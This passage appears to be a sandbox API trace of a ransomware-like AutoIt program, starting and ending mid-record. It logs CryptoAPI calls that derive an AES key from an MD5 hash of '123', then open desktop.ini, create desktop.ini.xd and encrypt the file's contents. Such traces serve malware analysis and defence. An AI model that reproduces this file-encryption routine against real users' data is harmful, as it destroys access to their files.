wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.876] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.876] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.876] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.876] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.876] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.876] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.876] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.876] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.877] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.877] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.877] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.877] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.877] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.877] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.877] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.877] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.877] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.877] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.877] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.877] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.877] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.877] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.877] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.877] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.878] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.878] CryptCreateHash (in: hProv=0x17aa890, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.878] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.878] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.878] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.878] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621660, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.879] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.879] CryptHashData (hHash=0x164c8f0, pbData=0x16293f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.879] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.881] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.881] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.881] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.881] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.881] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621870, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.882] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.882] CryptDeriveKey (in: hProv=0x17aa890, Algid=0x6610, hBaseData=0x164c8f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0061.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.882] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.883] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.883] CryptDestroyHash (hHash=0x164c8f0) returned 1 [0061.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.883] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.883] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.883] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.883] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.883] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\saved pictures\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.883] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.883] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.884] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\saved pictures")) returned 0x11 [0061.884] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\saved pictures\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.885] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.885] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.888] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.888] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xbe, lpOverlapped=0x0) returned 1 [0061.889] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.891] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.891] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.891] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.891] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.891] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.892] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.892] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.892] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.892] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.892] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.892] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.892] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x16294a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.892] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.893] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.893] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.893] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.893] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.893] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.893] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.893] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.894] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.894] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.894] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621648, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.894] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.894] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xbe, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xc0) returned 1 [0061.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 